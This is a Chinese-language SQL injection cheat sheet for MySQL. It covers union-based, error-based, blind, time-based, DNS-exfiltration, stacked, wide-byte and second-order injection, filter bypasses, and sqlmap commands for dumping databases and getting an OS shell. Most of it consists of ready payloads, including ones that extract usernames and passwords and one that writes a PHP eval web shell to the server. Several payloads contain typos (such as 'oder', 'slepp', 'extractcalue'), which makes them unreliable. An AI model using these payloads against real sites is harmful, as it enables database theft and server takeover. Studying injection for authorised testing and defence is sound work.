文章目录
相关函数:
- version() 数据库版本
- database() 数据库名
- user() 用户名
- system_user() 系统用户名
- current_user() 当前用户名
- session_user() 连接数据库的用户名
- load_file() 读取本地文件的函数
- @@spid 获取当前会话的进程ID
- @@datadir 读取数据库路径
- @@basedir 安装路径
- @@version_compile_os 查看操作系统
字符串拼接相关函数:
- concat()
- group_concat()
- concat_ws()
限制查询结果集关键字:
- limit N,M
相关知识:
MYSQL数据库5.0及以上引入了 information_schema
数据库。
information_schema基本结构:
常见注入类型
从注入参数的查询类型以及闭合符可分为:数字型注入、字符型注入
根据使用的技巧,SQL注入类型可分为:布尔盲注、时间注入、报错注入、堆叠注入、DNS查询注入
从HTTP请求中的位置来划分:GET注入、POST注入、COOKIE注入、REFERER注入、USER-AGENT注入
对抗转义机制的:宽字节注入、二次注入
常用手工测试手法
判断注入点数据类型:
字符型注入: ‘ “ ‘“ ‘) “)
数字型注入: and 1=1、 and 1=2 、 " and “1”="1、 ’ and ‘1’='1、 or 1=1、 or 1=
时间注入: and sleep(5)
注释符号: – – + 、# 、/* */、
手工测试流程
FUZZ注入点—>判断注入类型—>通过information_schema数据库
找到当前数据库你感兴趣的表—>找到这个表中的字段—>获取数据
(黄色部分为替换指令的部分,可以自定义自己想要查询的语句)
?id=1‘ – – +
?id=1’ oder by 3 – – +
?id=-1’ union select 1,2,3 – – +
?id=-1’ union select 1,version(),database() – – + (可以使用你所需要的函数)
?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema =database() – – + (从所有的表里边找到这个库名里不重复的表名)
?id=-1’ union select 1,2, group_concat(column_name) from information_schema.columns where table_schema =database() and table_name=‘表名’ – – + (从所有的列名里边找到这个表名里不重复的列名)
?id=-1’ union select 1,group_concat(username,password) from users – – +
(假设通过上面两条语句知道当前数据库有username,password两个字段,当前数据库为users,即可通过这条语句查询)
?id=1’变成?id=-1‘解释:为了让前面查询语句失效,页面回显第二条查询语句的内容
注释符号解释:常见手工测试“– – +”,”+”的作用是为确保注释符 “– –” 与注释内容之间有一个空格,get请求不允许出现空格,当”+“被发送到服务器会被自动识别成空格。”– – +“可以写成”– –%20“
报错注入
使用场景:页面回显错误信息
常用函数:
- floor
- extractvalue
- updatexml
常用手法:
- id=1 and (select 1 from (select count(*),concat_ws(‘~’,user(),floor(rand(0)*****2)) as x from information_schema.tables group by x)) - - +
- id=1 and (extractcalue(1,concat(0x7e,(select user()),0x7e))) – – +
- id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e)1)) – – +
布尔盲注
使用场景:页面不显示任何报错信息,无回显点,只显示正常页面和不正常页面
常用判断方法:and 1=1、and 1=2、1>2、1<2、5<>5、1 like 1 、1 is NULL、等
常用手法:
-
?id=1’ and ascii(subctr((select table_name from information_schema.tables where table_schema=database()),1,1)) >=115 - - +
-
?id=1’ and (==select table_name from information_schema.tables where table_schema=database()==limit 1,1)like ‘e%’ – – +
时间注入
使用场景:页面不显示任何报错信息,无回显点,只显示正常页面和不正常页面
常用判断方法: and slepp(5)
- ?id=1’and if(ascii(substr((slect table_name from information_schema.tables where table_schema=database()),1,1))>100,sleep(0),sleep(5)) – – +
NDS查询注入
条件:windowns、MySQL ”secure_file_priv“选项未设定具体值、支持load_file()、
原因:windows支持UNC语法,可以支持读其他域名下的文件;”secure_file_priv“未设定具体值,该变量无效。设置为NULL,服务器禁用导入和导出操作。(MySQL 5.7.16以后默认为NULL,高版本MySQL无法进行NDS探测)
常用手法:
- ?id=1’ and (select load_file(concat(‘\\’,(select table_name from information_schema.tables where table_schema=database(),‘.NDS地址\bb.txt’))) – – +
堆叠注入
条件:允许执行多条语句,PHP中用mysqli_multi_query()函数编写
常用手法:
- ?id=1‘ ;insert into users(id,username,password)value(‘8’,‘tset’,‘test’) – – +
- ?id=1’;slect table_name from information_schema.tables where table_schema=database() – – +
HTTP请求头注入
POST注入就是在POST注入参数存在注入点,其他 COOKIE注入、REFERER注入、USER-AGENT注入、以此类推,只是在HTTP请求头的注入点不一样,注入方式及语法一样。通常结合burp使用。
区别:GET提交有长度限制,最长2048个字符;POST没有长度限制,可以使用二进制数据。
宽字节注入
条件:数据库编码模式为GBK;使用了addslashes()、mysql_real_escape_string、mysql_escape_string函数
原理:前端输入%81‘时,首先经过addslashes()转义变成%81%5c%27,因为数据库设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。之后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“乗“,而单引号逃逸了出来。
常用手法:?id=1%81’ and 1=2 – – +
二次注入
条件:数据能够存入数据库,后再取出传递SQL语句。
对一般数据库而言,存储数据前会对数据进行一次反转义,二次注入就是利用这个特性。
二次注入字符转化过程:
1’ —>转义成1\'—>存入数据库1‘—>再次带入SQL语句’1’’
SQL其他攻击思路
读取文件和写入文件
条件:有写入权限、MySQL ”secure_file_priv“选项未设定具体值、支持load_file()、GPC关闭(能使用单引号),magic_quotes_gpc=On、有物理路径
读取常用手法:
?id=1’ union select 1,load_file(‘tmp/1.txt’) – – + (读取tmp下的1.txt)
?id=1’ union select 1, load_file(0x2F746D702F31) – – + (‘tmp/1.txt’16进制编码格式0x2F746D702F31)
写入常用手法:
?id=1‘ union select 1,“<?php @eval($_POST['g']);?>”,3 into outfile ‘C:/PHP_study/WWW/Test.php’ – – +
?id=1 union select 1,0x223c3f70687020406576616c28245f504f53545b2767275d293b3f3e22,3 into outfile ‘C:/PHP_study/WWW/Test.php’ – – +
(写入的路径不能为16进制编码格式,网站严格禁止单引号的情况下,即使存在SQL注入点,想要写入也是不可能的)
MYSQL bypass
1.过滤空格:各种编码代替空格 、%09,%0A,%0B,%0C,%0D,%20,%A0;+代替空格;//代替空格 例如:union/*/*select
2.过滤and、or:复写 andand、oror、;大小写绕过AnD、And、Or、oR、OR;等价替换:and -> &、%26 or -> ||;编码 %26%26;
SQLMAP的使用
-
自动检测
sqlmap -u http:/xxxxxx.xxx -batch
-
指定参数
sqlmap -u http:/xxxxxx.xxx/?id=x¶m=x -p id
-
指定数据库类型
sqlmap -u http:/xxxxxx.xxx –dbms mysql
-
从文件读取http请求报文
sqlmap -r 1.txt -batch
-
设置COOIKE
sqlmap -u http:/xxxxxx.xxx --cookie="JSESSION=asd"
-
查看当前用户是否是管理员权限
sqlmap -u http:/xxxxxx.xxx --is-dba
-
查看当前网站数据库的用户名称
sqlmap -u http:/xxxxxx.xxx --current-user
-
执行SQL命令
sqlmap -u http:/xxxxxx.xxx --sql-shell
-
查看当前使用网站数据库的名字
sqlmap -u http:/xxxxxx.xxx --current-db
-
查询数据库
sqlmap -u http:/xxxxxx.xxx --dbs
-
查询表
sqlmap -u http:/xxxxxx.xxx -D 数据库名 --tables
-
查字段名
sqlmap -u http:/xxxxxx.xxx -D 数据库名 -T 表名 --columns
-
查询数据
sqlmap -u http:/xxxxxx.xxx -D 数据库名 -T 表名 -C "字段名1,字段名2"--dump
-
在数据库中搜索字段 / 表 / 数据库名
sqlmap -u http:/xxxxxx.xxx --search -C/T/D admin,password
-
写入文件
sqlmap -u http://xxx.xxx -–file-dest "目标路径" –file-write "要写入的文件在本地的路径"
-
调用shell
sqlmap -u http://xxx.xxx --os-shell
-
从文件加载 HTTP 请求
sqlmap -u http://xxx.xxx -r
(HTTP请求头注入推荐使用方式,将请求头放入文件,用*标记注入点,SQLmap -r参数读取文件)
SQLMAP进阶使用
tamper模块
常用模块:
randomcase.py
: 随机大小写转换。space2comment.py
: 将空格转换为MySQL注释。chardoubleencode.py
: 对字符进行双重URL编码。charunicodeencode.py
: 对字符进行Unicode编码。apostrophemask.py
: 使用反斜杠对单引号进行转义。base64encode.py
: 使用Base64编码。eval.py
: 使用JavaScript的eval函数进行注入。
- 使用Base64编码
sqlmap -u http://xxx.xxx?id=1 -tamper base64encode.py
-
自定义UA头
sqlmap -u http://xxx.xxx?id=1 --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
-
随机UA头
sqlmap -u http://xxx.xxx?id=1 --random-agent
-
代理
sqlmap -u http://xxx.xxx?id=1 --proxy "http://127.0.0.1:8080"